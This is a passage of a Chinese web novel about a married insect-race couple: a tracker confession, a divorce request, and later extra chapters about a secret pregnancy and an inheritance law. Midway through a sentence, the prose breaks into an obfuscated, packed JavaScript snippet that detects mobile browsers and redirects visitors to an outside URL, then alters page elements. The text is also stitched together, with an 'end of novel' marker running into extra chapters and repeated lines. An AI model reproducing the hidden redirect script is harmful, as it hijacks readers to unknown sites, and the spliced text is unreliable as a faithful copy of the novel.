奥兰德怔了怔,一瞬间明白了原委,只觉得如坠冰窖,旋即又低声笑了起来。
已经很小心了,没想到还是有疏忽吗?
他没有想到是这个原因。
也好在是这个原因。
·
魏邈选的酒店离繁华的市区不远,是一间家庭套间。里面囊括有幼崽的活动室,拉开窗帘,一扇巨大的落地窗分割出窗外的光晕,漫天遍野的丘壑和星斗落入眼帘,入目一片闪烁。
他陪维恩玩了一会儿,幼崽明显累了,洗漱后就光速入眠,魏邈坐在他旁边,静静地凝视了一会儿幼崽的脸庞,才站起身,看了眼时间。
就像是给博士出了一道高中数学题,不论用何种方式,都属于轻而易得的范畴,答案很容易写出来。
但解题的思路和过程,就相对多样化了。
说实话,他有些厌倦这场博弈。
原文中提到的尤文却有其虫,而三天之后,一则原文中提到的新闻报道同样也佐证了剧情的存在。
按照光幕的报时,三个月之后,剧情会正式开始,而即使剧情没有百分百地朝着既定的轨道向前发展,魏邈也赌不起一个奥兰德不会变心的可能性。
或许有百分之十的可能性能够证明,剧情是可以改变的,说不定奥兰德可以从爱海中脱身,这段婚姻依然足以维系,但他不能去赌一个飘忽不定的未来。
更何况,也没有必要赌。
如果提前知晓未来,泰坦尼克号或许未必会再次触动冰山。
一座巨型客轮的陷落成就了杰克和露丝的旷世之恋,但他不是主人公,他没有一定要为一切买单的理由,所以此时的最优解,是撕毁这张船票、放弃再次登船。
魏邈能够接受自己在某次地质勘察中丧生,或在一次意外中遇难,亦或是为了保护家人而死,但他不会主动的、没有必要的引颈受戮。
他能够在剧情里扮演什么角色呢?
门铃很快响起。
门口的敲击声轻缓而有节奏,魏邈顿了一会儿,他说不上来是什么感受,又或许什么也没想,走到门口,手搭在门把上:“谁?”
“……雄主。”听到魏邈的声音,奥兰德才徐徐露出一个笑容,“是我。”
心终于迟缓地放回原位。
雄虫打开门,目光依然和往日一样,看不出来多余的神色,奥兰德提着食盒走进去,神色同样如常:“我给您提了晚饭,您吃过了吗?”
“谢谢。”魏邈从奥兰德的手里接过餐盒,礼节性地点点头,“费心了……你吃过了吗?”
谁都没有主动提那枚定位器的事情。
奥兰德后知后觉地问:“维恩呢?”
酒店里同样配置了书架,供居住的客人们打卡使用,魏邈从书架上扌由出一本书,才发现上面已经积蓄了薄薄的一层灰尘。
他抖落了书封面上多余的灰,用湿纸巾擦拭了一遍硬质的封面,道:“睡着了,在左手边的主卧,他吃过了,让他睡吧。”
小朋友学了一天,又去公园玩了一个小时,活动范围过大,累了一天了,早点休息是正常的。
奥兰德垂下眼,应了一声,道:“是。”
他洗了手,干脆便在这里布菜,魏邈抱着书走过来,欣赏了一会儿他的雌君白润纤细的指节,替奥兰德拉开座椅,自己则坐在他对面。
“做了什么?”魏邈问,“……燕窝吗?”
晚饭一如既往的丰盛。
“嗯。”奥兰德说,过了一会儿,终于忍不住问,“……您没有看到我给您发的消息吗?”
魏邈仰起脸,看了眼奥兰德。
他目光不疾不徐,带着些平静的、理解的笑意,表情没什么涟漪,示意奥兰德坐下,道:“抱歉,让你等着急了,先吃饭吧,我们坐下聊。”
奥兰德嘴唇抿了抿,在对方平静的神色下,还是落座。
魏邈道:“谁先说?”
奥兰德没有回答。
他的雌君的神色同样好不到哪里去,眉眼间藏着些自己都没发现的愠怒之意,湛蓝色的瞳孔如同望不见底的深海。
他竟然可以惹得奥兰德这么着急。
魏邈眼底闪过一丝惊讶的笑意,这多少说明在五年的婚姻中,他并非是孤军奋战。
说实话,确实有点儿报复的快感。
但这已经足够了。
魏邈从不后悔自己走过的每一段路,同样的,他也不允许自己再沉溺于已经排除的错误选项中,踟蹰不前。
“那我先说。”魏邈道,他靠在椅背上,拿起一个塔可,这种墨西哥卷饼里裹着一层撒过黑胡椒的牛肉和生菜,入口带着碳烤的香味,随口问,“为什么要给我安装定位器?”
奥兰德道:“只有一枚。”
魏邈“嗯”了一声,倒并不算意外:“说说看是哪一枚?”
“我没想到您还没有把那个旧行李箱丢掉。”奥兰德笑了一声,“这是我的失误。”
“没办法,你应该也知道,我就爱收集些破烂。”魏邈失笑,“没什么认错态度啊,奥兰德。”
奥兰德闭了闭眼睛,低声道:“您打算让我怎么说?我接受您的一切刑罚。”
“说得太严重了,没必要。”魏邈将那碗燕窝给奥兰德盛了半碗,“为什么要安这个?远程遥控一下,将在内而威仪传乎四海?”
奥兰德盯着那碗燕窝,嘴唇翕动了一下,道:“……我没有想要监视您的意思,只是为了确认。”
魏邈支起下巴,目光不避不闪地直视着对方的眼睛:“确认我是真出差去了?”
“是。”奥兰德低下眼,顿了很久,才道,“我当时确实反对您去出差,提了几次,您应该有印象。”
陈年旧事,再翻出来的时候,就像是被回锅炒了几遍的菜,油腻腻的,让人反胃。
魏邈的眼睛已经全无笑意:“所以后来我就没有出差了,安安分分在家里待着,另外,你那个定位器应该还自带录音功能,还满意您听到的一切吗,先生?”
理论上来说,他是可以告奥兰德的,只要数据恢复,对方算是侵犯研究所的知识产权。
但在荒星勘察时,那些乱七八糟的勘察过程有什么好听的?行外人擦屁股时外放都嫌堵塞交通的东西,也就内部有点儿传阅的价值,魏邈都不知道奥兰德给他行李箱上安一个那玩意儿是要干什么。
能听出来个花吗?
奥兰德低下头,从这个角度看过去,只能看见一个绷紧的下巴,栗色的头发梳得一丝不苟,不发一语。
魏邈过了一会儿,收敛了些气息,逐渐反应过来,自己有些咄咄逼人。
……他不应该是这个态度。
简直是莫名其妙的无名火起。
那枚定位器已经是四年前的事情,那一段时间,是他最想要拉进彼此距离的时候,那会儿奥兰德的态度也有所松动,明面上很是蜜里调油了一段时间。
现在回过头来告诉他,他心中的伴侣连基本的信任都没有,全是他剃头挑子一头热。
有一瞬间,魏邈觉得之前的自己特别可笑。
他弯了一下眼睛。
下一秒,奥兰德直接站起身,手指解开衬衫的扣子,兀自要跪下去,魏邈一把拽过他的胳膊:“差不多得了。”
也是这个时候,魏邈才发现奥兰德的手腕在微微发抖。
他愣了一下。
那是一种很细微的颤抖,如果不是他的手放上去,几乎感受不到,魏邈一瞬间只闪过一个念头。
……不至于吧?
才刚A了几句,连嘲讽都没用啊。
——早知道游戏的帧率和灵敏度调低点儿了。
他在心里开完玩笑,很轻地叹了口气,拢下眼,走到奥兰德的位置前,手触碰到对方的额头:“好了,说句话可以吗?”
离得近了,他才看到对方的眼眶已经红了一片。
魏邈过了一会儿,才问:“哭什么,是我给你装了定位器吗?”
“雄主。”奥兰德的嗓音有些沙哑,“……我没有。”
他没想到,魏邈因为这件事,发这么大的火。
所有解释的话都被对方堵上,奥兰德一时不知道如何反应。
魏邈挑挑眉,抛出一个疑问句:“你没有,那是谁装的?”
总不能是行李箱开局自带的吧。
奥兰德:“……”
“先冷静一下吧。”魏邈举起双手,缴了白旗,道,“抱歉,我也并非有意诘问。”
再怎么着急,也并不差这几分几秒了。
下一秒,胳膊被对方拽住,奥兰德喉头动了动,压抑住惊惶的神色,简明扼要地解释道:“……我当时只是害怕您有外遇。”
刚结婚的那会儿,彼此并不了解。
雄虫不在自己面前,总是要看紧点儿的。
魏邈:“……”
想破脑袋,他没想到这个原因。
就如同原著一样,魏邈有些不能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13702271|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
理解奥兰德的脑回路,他顿了顿,实在有些不能够理解,气笑了,问:“大哥,我上去哪儿去给你找一个。”
星光点点泼落。
魏邈放开奥兰德的手,他也没什么胃口,抿了几口生滚粥之后,便找了个偏僻的地方坐下,拿起那本书,看了一会儿。
上辈子,如果不学地质,他打算报考考古学。
他的父母在高中时去世,将父母的骨灰收殓之后,除了过年时拜访姑姑和舅舅之外,他几乎无牵无挂。
魏邈的父母都是大学教授,死因是一次野外地质勘察中突如其来的山洪爆发,他是独生子,按部就班地读完研究生之后,就穿越到了这个世界。
虫族的历史足够漫长,从崛起到成立帝国,随后,帝国瓦解,进入到联邦共和时代。
但这里的封建传统依然浓厚,单拿上层建筑来说,没有完善的权力分立体制,依然容易产生绝对的权威,上议院就是联邦实际意义上的君主制,财富极端集中,性别比不均,地域与地域之间隔着空前的鸿沟。
都是旧有的弊病。
这些都不是魏邈的领域,但并不影响他对这种陌生的生态感兴趣。
这本书讲的是第二帝国时期的战争史,长篇累牍,魏邈翻了几页,逐渐感觉到思绪逐渐冷静下来。
他抬起眼,看向奥兰德,问:“你还有没有事情,是瞒着我的?”
奥兰德道:“……没有。”
魏邈笑了一下,道:“真的假的?”
“……”又没有声音了。
魏邈暗自叹了口气,这种非暴力不合作的态度实在让他觉得有点儿难以沟通。
“好。”他合拢书页,“我的问题全部结束。关于这件事,或者其他的类似问题,你有没有什么想问我的?”
“……”
魏邈有一种自己是面试官的错觉,他沉默了一会儿,觉得该给对方一个提示:“比如我为什么要翻你的庄园?”
“没关系。”奥兰德低低地垂下眼,只觉得血一点一点凉下去,而他似乎只能聆听审判,“我们可以去别的地方居住……您想去哪里都可以。”
“还有吗?”
“我没有什么疑问。”
“那我们进入下一个话题。”魏邈没客气,“奥兰德,我们结婚多久了?”
空气全然听不见任何其他的声音。
奥兰德抬起眼,静静地看着魏邈,瞳孔宛若深海、漆黑如墨,看不出多余的思绪翻涌:“四年零九个月……您想说什么?”
“感谢你这些年的照顾,非常感谢。”魏邈捋了下奥兰德的头发,隔得很久远,他其实多少也猜不透奥兰德的心情,或者已经很少去猜枕边人的心绪了,“或许你还记得我们第一次见面,我心说眼前这位是谁啊,脸这么冷,后来没想到就这么结婚了,那会儿其实也不太懂你和柏布斯家族的事情,只觉得我似乎赌大了,心说你最好赢啊……要不然我还得跟着你逃命,那我带你回贫民窟,咱俩挤一个被窝,其他虫都没来过那些下水道,怎么着也找不到咱们。”
他尽量让自己显得轻松起来,没有看奥兰德,兀自笑了一下:“没想到一晃时间这么快,你看,快五年都过来了。”
奥兰德目光注视着雄虫的脸庞,神色怔忡。
他听见一句浑身发冷的话:“奥兰德,我们离婚吧。”
·
是夜。
第三军团的所有军雌全部被派遣了出去,拜伦·西斯坐在军部的会议室内,右手侧是李易,这名来自东方的军团长神色警戒,目光凝视着眼前的投影。
说是会议室,却几乎能够容纳几十余名雌虫,一张长方形的长桌两侧都是空余的椅子,但几乎没有多余的军雌们落座,所有的高级将领都被派遣了出去。
李易道:“……柏布斯上将没有过来吗?”
这毕竟是歼灭反叛军的最关键时刻,所有军雌都严阵以待,不知道有多少上议院高层的目光在暗处注视着这里。
话是这么说,但他还是放轻松了一些,眸光中浮现出躲过一劫的情绪。
拜伦·西斯摇了摇头:“不清楚。”他睨了眼李易,“你今天穿得真够正式的。”
为了讨好柏布斯上将,已经不择手段了吗?
还戴了个金丝眼镜?
李易笑着回敬道:“你今天应该多打个舌钉。”
“……”拜伦·西斯用镜子照了照自己的头发,没好气地说,“你懂什么?这叫艺术。”
李易发现这位军团长对自己的头发颇多关注。
他有些疑惑,是怕挑染的发色不够鲜艳吗?
再怎么鲜艳,也不能当灯泡使用啊。
李易问:“说起来,第二军团的军团长呢?”
“去前线了。”拜伦耸耸肩,露出洁白的牙齿,钦佩地笑了笑,“他可是我们的主力军……说实话,我也想去,被驳回了。”
“倒并不意外。”李易微微一笑,抬了抬镜片的高度,在拜伦的视线横扫过来时,及时改口,“……我说的是科维奇先生。赫尔诺能够折损在他的手上,也算是一个好的归宿了。”
虫族的精神力等级并非是一成不变的,S和双SS间的战斗力完全不可同日而语,就像是麻雀和山鹰的差距。
而哪怕是SS级精神力,内部的差异也天上地下、迥然不同,毫无疑问,柏布斯上将站在最巅峰的位置,而除此之外,联邦少有的几位双S级雌虫之中,还有一位也足够称为传奇。
——利亚·科维奇。
赫赫有名的“战争机器”,两年前横扫过整个π星云,为联邦扩展了五分之一的疆域。
李易突然想起来一件事:“科维奇先生和柏布斯上将似乎私交挺好的。”
拜伦道:“是的。”他转过头,问李易,“你也想和上将有私交吗?”
李易收起笑容:“好,我不问了。”
180---全文完
180、番外sur la plage(二十九)
李易刚到,寒暄完第一轮,抬起的脚步又收了回来,也不急着谈交易了,饶有兴致的盯着魏邈看。
视线不大避讳,随周围的目光一齐看过去。
莱尔如今失势,没了柏布斯家族的倚仗,不少虫等着看他热闹。
这倒也并非是落井下石。
一个敢当众落温弥科维奇脸子的平民雄虫,当初有多张狂,大家都有目共睹,如今时移世易,总算得了报应。
有许多雄虫暗暗笑他蠢。
时代变了,一些身家丰厚、心高气傲的雌虫还是值得哄一哄的,一味仗着脸蛋和性别优势摆架子,就有些瞧不起雌虫的智商了。
自己拎不清斤两,被甩了活该。别当众被柏布斯上将赶出宴会厅,那才更声名扫地。李易环视一圈,眼底慢慢漾开笑意,揶揄地端起酒杯。他不是没试探过莱尔和奥兰德·柏布斯上将的关系,但雄虫口风太紧,没撬出来。
如今倒有了难得的机会。
可惜所有的期待都落了空。
一分钟过去,莱尔既没有大发雷霆,也没有抓住机会谄媚讨好,诧异过了,没什么别的反应。
太处变不惊,仿佛不是当事虫其中之一。
而不少贵族期待的,上将命西斯家族将雄虫逐出晚宴的戏码也没发生,奥兰德很快便上了二楼,显然并非赴宴,而是另有事项处置,连露面都吝啬。
更别说对前雄宠打击报复。
就这?
连李易都大跌眼镜:原来仅此而已。
他了解更深,清楚来龙去脉,那位上将对莱尔堪称放纵,要风得风、要雨得雨,从将军手中挟走对方,任对方在军部来去无忌,莱尔一夜成了政坛的冉冉新星,其中操盘者不言自明。若这一切还算皮毛的恩德,那因这根导火索,和将军关系转恶,反叛军的规划被打乱,三年巨额的军费开支便算打了水漂。
其中没有感情用事的成分,那才是谎话。那现在又是什么?李易眯起眼,总觉得举棋不定:感情真淡了?和平分手?那反叛军对莱尔下手,那位统帅会制止吗?
魏邈抿了抿唇。
就像一根刺卡在喉咙,久而不散,他无法心安理得地摆脱歉疚。
人吃饱了,旧有的价值观便又占了上风,假若奥兰德先一步甩了他,他反倒心安理得。
如今换成他有愧于奥兰德。
欠债的不喜欢见债主,租客不乐于见房东,交了白卷,便不怎么愿意查成绩。
奥兰德不出现,他姑且可以佯作视若无睹;但见到他,他便会下意识推算手术的日期,以及手术延后的反应。
装傻是件难事。
他端起酒杯,倒没打算回环往复,再藕断丝连下去,只是想出去透透气儿,便被一只中年雌虫拦住去路。
魏邈敛下眼,温和地看着他。
“莱尔阁下。”雌虫身宽体胖,将走廊挡了个全乎,一碰酒杯,显然是有备而来,“有个合作,不知道您感不感兴趣?”
魏邈只好象征性地一口酒,笑笑:“抱歉,我已不做生意。”
“您在达北星的项目还在运行。”雌虫说,“还未自我介绍,我是普多家族的元老,您应该了解…
魏邈截住他的介绍:“是,鼎鼎有名。”
“达北星上城区的普多大厦,我分您两成利,您能否提供能源?”
魏邈失笑,问:“两成?”
“已经很优厚了。”雌虫笑眯眯地说,“莱尔阁下,今时不同往日,大家都不容易嘛。”平民而已,肉眼可见被柏布斯家族抛弃,之前多倨傲,现在说话都不敢造次。除了审判长这个位置能被逼着贪污受贿,批准一些采矿证,也什么出奇之处了。等榨干了油水,还有身体可以利用。魏邈叹了口气。他就知道,今时不同往日,总要应付些乱七八糟的破事儿。
“借过。”他说,“挡住风了,普多先生。”雌虫不让,自说自话:“我秘书在拟合同了,马上就拿来,您可以现场签字。”魏邈抬了抬眼皮,懒得多说什么,只觉得手痒。他没为难自己,故技重施,香槟杯倒转,径直把酒泼到雌虫脑门上。头发本来就不多,这回一泼,愈显得稀疏。
“你得去休息室整理下发型了。”他随意地把香槟杯放下,对着雌虫铁青的脸,慢条斯理地提醒说,“借过,普多先生。”
盥洗室空无一人,魏邈洗干净手,身后便传来窸窸窣窣的脚步声。彼此都静了片刻。奥兰德走进来,站在他身侧。
他确实比先前瘦了些,眼睛平静了许多,朝他弯了弯唇角。
“怎么不和我打招呼?”他视线不由自主落在魏邈的侧脸上,稍有些怔然,低声说,“就这么视而不见?”
就像梦幻泡影,他最近只在梦里见过对方。
他其实不太想梦见他,他总逼他将虫蛋打掉,他最初还有勇气说不,渐渐的,越来越无法挣扎。
底线一降再降,到了连他都心惊的地步。
魏邈侧过脸,说:“我以为你有正事要做。”
奥兰德眼睫颤了颤,没说话。
“你在我这里留了几件外套。”他开口,“还要拿吗?”
魏邈不大能想得起来有什么衣服扔到他那里,有一些是约瑟夫为他添置的,名义上属于他,奥兰德随手也放进去,一个柜子一个柜子的摆,具体是谁的,压根儿认不全乎。
“那我派我的秘书去取。”他慢慢地问,“最近身体怎么样?”
话说到一半,他便意识到提了个多么愚蠢的话题。
奥兰德说:“疼。”这样的手术,无非疼多疼少的区别,全然没有反应,才是稀罕事儿。魏邈顿了顿,没太多的遣词造句,还是只能道:“对不起。”彼此都太熟稔,伤人的话说尽,反倒无话可说。
奥兰德下意识想将手放在自己的腹部,牙齿碰了碰,莫名觉得酸楚,把想要坦白的冲动压回去。
……不能告诉他。
等瓜熟蒂落、避无可避,再让他知道。
他闭了闭眼:“你打算和李易合作?”
“有过想法。”魏邈说,“现在看来是达不成了。”
他们少有这么平铺直叙、坦诚相对的时候。
奥兰德提醒说:“你该知道防备。”
这话说的好玩儿。
魏邈忍不住看他半晌,才几乎有些无奈地笑了起来:“我知道。“
“你不知道。”奥兰德幽冷的说,“你捅不进最后一刀,总是留有余地。”
这样的性格,进了权斗场,只会被消耗殆尽。
魏邈倒并不意外奥兰德对他的了解,他这点儿花招,就像气球,戳破,什么都露出来。
“你也没比我好到哪里去。”他错身而过,“奥兰德,下次长点儿心,找雄主,别再找我这样的了。”
181、番外sur la plage(三十)
宴厅二楼,便是独立的会客室,从上方看,整个宴厅一览无余。
侍者推开门,西斯家族的元老拄着拐杖,慢慢站起身。
麦格西斯站在老人家身后,慢慢探出一个脑袋,看了传闻中那位上将一眼,又低下头。
雄虫们对这位上将都极为厌恶,讥讽他找了一个平民做雄宠,放浪形骸,让柏布斯家族蒙耻。
他也没少说过这些话,但真的碰了面,反倒有些茫然。
劳埃罗·西斯拉了拉麦格的袖口,让雄虫往前占一些,慈祥地主动介绍说:“来,麦格,这位是柏布斯先生。”
麦格只好不情不愿地说:“先生,日安。”
奥兰德用餐巾擦了擦手指,看了眼冷不丁出现的雄虫,很快便明白这是在做什么坐在窗侧的皮质沙发上,道:“麦格也长大了些。“
“已经二十一周岁了。”老西斯笑着叹了口气,“看起来还有点儿孩子气。”
“并不要紧。”奥兰德温和地说,“还要多历练两年,才能看出性格。”
他语气不疾不徐,还带点儿笑意,然后熟稔他的虫,便能听出来他的心不在焉。
他不比麦格西斯大多少,然而无论是身份还是职位已相距太远,纵然是以评点族内晚辈的语气说话,也没有谁觉得不对。
“是。”劳埃罗·西斯说,“这场宴会便是麦格要举办的。”
奥兰德目光落在落地窗外,定在魏邈身上,神色有些虚焦,过了半晌,才道:“你和莱尔关系很好?”
麦格吓了一跳,囫囵点了点头:“…算是吧,最近没怎么玩过了。”
说到后面,声音越来越小。
奥兰德垂下眼,不咸不淡地问:“他没联络过你,还是你没有联络过他?”
“都太忙了。”“你们平时都聊什么话题?”
聊什么话题?
问题接踵而来,麦格·西斯总觉得如芒在背,想了一会儿,才发现他和莱尔聊过的,都是他自己喜欢的话题。
莱尔只附和于他。
奥兰德将他的表情尽收眼底,不再问什么:“好了,别太紧张。”劳埃罗西斯说:“先坐下。”麦格老老实实地坐在沙发一侧,大气不敢出。
一楼,他的雄虫对着李易笑了笑,奥兰德看到对方的表情,也情不自禁露出了一个笑来。刚刚的警告还犹在耳畔,既已立下告示牌,智者该学会止步。可也许是吞过太过苦果,药不起作用,痛意过了,除了麻木之外,底线越收越窄。他没法放手。
“莱尔初来乍到,朋友不多,你最近忙于办宴会,能理解。”奥兰德眼底闪过阴翳,指尖收紧了些,淡淡地问,“现在是不是有机会去和朋友打个招呼?”麦格张了张口。
劳埃罗西斯顺着上将的目光看去,心领神会,拉了一把麦格,笑呵呵地说:“对,去打个招呼。”
奥兰德敛下眼,目送麦格离开。
“麦格是好孩子。”他评价说。
劳埃罗呼出一口气,又摇了摇头:“太闹了,担不起大任。”
奥兰德用左手撑着茶杯,没什么评价的兴致。
劳埃罗这才敢开口:“您和莱尔阁下?”
让麦格打声招呼,在现在这个场合,便代表着西斯家族的首肯,自然是为对方解围的意思。
既然是这样,那面上却闹得这样僵,就耐人寻味了。
“他和我起了些争执。”奥兰德起身,淡薄的笑意慢慢敛起,“不必把他们介绍给我了,劳埃罗。”
布列卡星的冬季很快过去,很快便迎来高温天气,三十度的气温,哪怕室内恒温,到了室外,玻璃面一蒸,总觉得炎热。这种天气,穿西装上班,简直成一件苦差事。魏邈刚一进办公室,便迎来稀客,伊维坐在办公桌前,手里拿着一撂文件。
“请进。”他说。
魏邈将门掩上:“我记得这是我的办公室。“
伊维大笑。
“上议院草拟、通过了非婚生子法案。”他说,“你看看。“
“我清楚。”魏邈抬了头,慢条斯理接过文件,“昨日通过的,茶点在左侧柜子里,请自取。”
伊维感叹了句:“真是虫走茶凉。”
魏邈捡了个椅子坐下:“世事如此。”
“法案下个月起生效,非婚生子享有和婚生子同等的继承权,受律法承认。”伊维和他对视一眼,求教地问,“……什么?”
消息一出,他下意识来法院找莱尔分析。
魏邈提醒了句:“我未婚,先生。”“我也未婚。”伊维顺口接了一句,半晌,后知后觉地找补,“.……我没有想要和你凑一对的意思。”魏邈在浏览文件,头也没抬一下,显然懒得搭茬。“星网都炸了锅了。”伊维说,“不少雌虫义愤填膺。“
这应该是近一段时间联邦唯一的大事。
反叛军是老新闻,一日没有大动作,便按风平浪静计;新一轮选举还为时较早,攻讦、表演还待发酵。
按理说,上议院保守派偏多,老派的婚姻制度之所以坚如磐石,和议员们脱不了干系,贵族需要联姻来维持体系,雄虫怕分薄自己的资产,而已婚的雌虫生育成本更大,反对派的数量自然更多。偏偏草案就像是闹鬼似的,卡在半数之上,莫名其妙的快速通过了。
而星网反对最激烈的,自然是夹在中上层之间,家庭关系稳固的雌君。
【哪个连金属牌都上不了的碧池给自己雄主吹枕边风,想出来的提案?】
【开了眼了,所以有婚姻登记和没有,是同一码事?】
【看了新法案,本来很害怕,问了我家雄主,他承诺说这辈子都不会有非婚生子。】
【?】
【知道了,起承转雄主宠我。】
【分给非婚生子的财产从哪里来?从我卡里划一笔出来吗?】
【按照这种情况,雌虫不结婚才是最优解,只需要和一个特定的雄虫保持联系,孕育的雄子还可以找雄虫要抚养费。】
【小四小五的利益倒是照顾得周到。】
【养完雄虫养情敌的蛋,回家一看天都塌了。】
【雄主名下资产怎么查?这几大网站太神了!】
【这下不能相信未婚的雄虫了,保不齐私生蛋已经七八个了,还不知道是谁。】
舆论风声极大。
奥兰德不禁止讨论,只是对这群聒噪不休,站在道德制高点上的雌虫生出些厌恶。
婚姻再如何勉为其难,对外也要力证自己的幸福,就像用豁了口的花盆装营养土,捂着瞒着,也撒下一路。
戳破这个泡沫,反倒是一种仁慈。
再等一段时间……
他靠在窗边的沙发上,浑身滚烫,像在水里浸过一遍,手不自觉拂过小腹,手心攥着一只婚姻登记的金属牌,上边儿镶嵌着他和雄虫的名讳。自然没有法律效力,只是形制做了十成十的肖似,除了没入信息库之外,几乎能以假乱真,奥兰德偶尔会看一眼,才并不觉得难搪下去。
再等一段时间,他便能让新律法落地,只要雌虫诞下虫蛋,并和雄虫有血缘关系,实际意义上的婚姻关系便成立。
这是计划里的框架。
奥兰德垂下眼,不自觉地摩挲了摩挲光滑金属面的刻字,思念几近决堤,将理智悉数淹没,他迫切得想给他打电话,想知道他在做什么,想听到他的声音。他已忍了许久许久,不去打扰对方,莱尔会不会已经忘了他?他快要生产,虫蛋的雄父却不清楚具体的日期。只打一个电话,已经过了法院下班的时间,他不会打扰到他工作。他挂断,那他就不再纠缠。
电话接起,奥兰德无声攥紧了手,半晌没说话。倒是魏邈先开的口:“你好。”陌生的号码,电话那头一直没声响,只能听到彼此交错的呼吸声。魏邈过了片刻,才说:“上将。”他凭呼吸频率,认出来对方。奥兰德莫名觉得酸楚,低声说:“我以为你会挂断我的电话。”魏邈说:“我怕过犹不及,得罪了你。”还是熟悉的声音,太优游不迫,是昔日早晨边吃早餐边闲聊时的语气,只是少了份亲昵。
“你早就得罪过了我。”
“是。”晚风燥热,魏邈自商超出来,哑然,笑了笑,“我回神想想,您雅量,我做事儿没什么分寸。”
他戴尽高帽。
奥兰德不想和他讨论这个,低声问:“你不在家?”魏邈应了声:“买些蔬菜。”
电话里,奥兰德语气顿了顿:“谁替你做饭?”
“我自己做。”
奥兰德没想到是这个回答,心似乎被刺了一下,印象里,雄虫几乎没碰过厨房,冷不丁冒出一句:“我找个虫给你做饭,好不好?”
……”魏邈静默了须臾。
他脑海中滤过那份草令,又想起那只应该已经被堕掉的虫蛋,微微蹙了眉,把荒诞的想法压下去。
半年时间,足够一只蜗牛跑完一场马拉松。
再余情未了,也该及时抽身。
“我用不上。”他稍卡壳,叹了口气,“还有什么事儿吗?”
“有。”
魏邈便当真驻足听着。
电话那头,奥兰德轻声细语地说:“我很想你。”
“我乖不乖?”思绪并不受大脑控制,他被孕期的反应压得昏沉沉的,像是雌兽咕哝讨好般的语调,慢腾腾地说,“这么久,我都没有找你。”
作者有话说
“我乖不乖?”思绪并不受大脑控制,他被孕期的反应压得昏沉沉的,像是雌兽咕哝讨好般的语调,慢腾腾地说,“这么久,我都没有找你。”作者有话说
182、番外sur la plage(三十一)
魏邈拧了拧眉,走进飞行器的驾驶舱,将已设置好的驾驶路线取消,改成奥兰德庄园的方向。
奥兰德状态不大对劲儿。
“你生病了?”“没有。““真的没有?”那头又没了声音。
“给我打电话的是你。”魏邈不想逼问他,但到底没忍住,多问了句,“不说话的也是你,还要我哄你?”
话说完,便意识到已不合时宜。
他并非是没有猜测。
假若那枚蛋没有堕掉,算算产程,应该在七月底生产。
除了那份昂贵的手术账单,他没获得其他信息,上次见面,相隔半年,也在显怀之前。
伤害既已造成,他自然不可能去核查看虫蛋是否已变成一滩血,或在手术室旁拍照录检,这方面奥兰德放什么消息,他便该听信什么。
就像薛定谔的猫,他观测不到,说有便是有,没有便是没有。
奥兰德漂亮的眼睛慢慢垂下,静悄悄的听完,抿起唇角:“我没有生病。”
他只是怀了他们的宝宝。
“我知道你不想见我,我就应该不出现。”他自言自语般地说,“但我也有忍不住的时候。”
接近日落,驾驶舱的车窗外,一片一片的火烧云自天边掠过,像是雌虫虫翼的骨骼。
魏邈听着他的呼吸声,有半晌,思绪也被搅得乱七八糟,声音却还是沉稳的:“我没有不想见你。”
奥兰德说:“你骗我。”
“我不会骗你。”他像在哄一个孩子,轻声细语地说,“我现在就可以来找你……你在庄园吗?”
…”在庄园里。奥兰德不大擅长当面撒谎,他对逻辑有极高的追求,当他沉默,便是有个东西不想让他清楚,又没法立时立刻变出一种合理的说辞来。
奥兰德突然警觉起来,慢慢地说:“你不准来。”他来,又要让他堕掉虫蛋。
“不行。”魏邈并不听他的,“你不是想见我吗?”
感情是叶公好龙。
他开了定速巡航,等最后一分日落要掉下去的时候,才赶到漫长的林地之外,魏邈摇下车窗,便看到一个熟悉的机器人,伸长了手臂,不让他通行。
机器人嘀嘀嗒嗒亮了灯,露出一张笑脸,发出约瑟夫的声音:“先生,家主今日身体有点儿不舒服,您先回吧。”
此地无银三百两。
魏邈不紧不慢泊了车,自飞行器下来,手里提着几只没切皮的土豆,和一大卷生菜,半斤牛肉,穿着藏青色的薄款风衣,夜幕里,身量修长,离机器人两米远,冲它笑了笑:“回不去,飞行器没能源了,能不能借地儿加加点油?”机器人眼睛又开始滴溜溜地转。
约瑟夫过了一会儿,回复说:“停车库里有许多飞行器,您喜欢哪一款,我替您开出来。”
魏邈靠在飞行器上,抬头应了声,点开光脑,将通讯回拨回去。
等了一会儿,奥兰德总算又接通电话。
“开门。”魏邈沉默许久,把心底莫名的火压下去,才下定了决心,“要不我就永远不来了,奥兰德。”
这话简直是不知死活的威慑。
但比起软话说尽,有些威胁反倒更行得通,不到片刻,机器人便笨手笨脚挪开了身体,让开一条路。
魏邈把飞行器放到门口,约瑟夫操纵着机器人去检查,才发现是真的没油了。
从漫长的林地走出来,便是新栽的一片花园,接近夏季,不少品种的花蕾已经长大了些,看起来极丰富的模样,昏黄的灯光打下来,飞琼淡泞,入目皆是青绿。机器人一蹦一跳跟在他后面,摄像头偏过去,一路照着他的踪迹。
灯影婆娑。
这世界大多数感情都肖似,依遵社会秩序,拥有或失去,都只是蜻蜓点水,并非谁与谁不可。这是一件好事儿,就像一种植株能适配更多气候,一种动物能靠吃草,需求越直白浅薄,越易生存。玄关的门大敞,奥兰德穿了件外套,坐在沙发的一角,魏邈看到他,什么都明白了。他较之前瘦了许多,下巴几乎没什么肉,也就小腹看起来有点儿重量,穿着一件家居服,还是极漂亮,脖颈一片青白,有明显药物注射的痕迹。本来就白皙,此刻看起来就有些惊心动魄
魏邈坐在他身边,下一瞬,他便被挟制住,奥兰德先记得将他眼睛蒙住,力气用得极重,死死地箍住他。
“你别看。”他说。
他脸颊发烫,靠在他身上,热气慢吞吞渡过来,便是极为明显的实感,魏邈肩膀湿润润的,一时间不知道该如何评价这样欲盖弥彰的行为,慢慢托住奥兰德的后背,极稳、极缓地抱住了他。自他来到这里,便清楚许多种情况已不可避免,有些超出他计算的事情已经发生,而他不可避免,要迎上去。
“怎么办?”他并不打算决定太久,“已经看到了。”
空气里安静了许久。
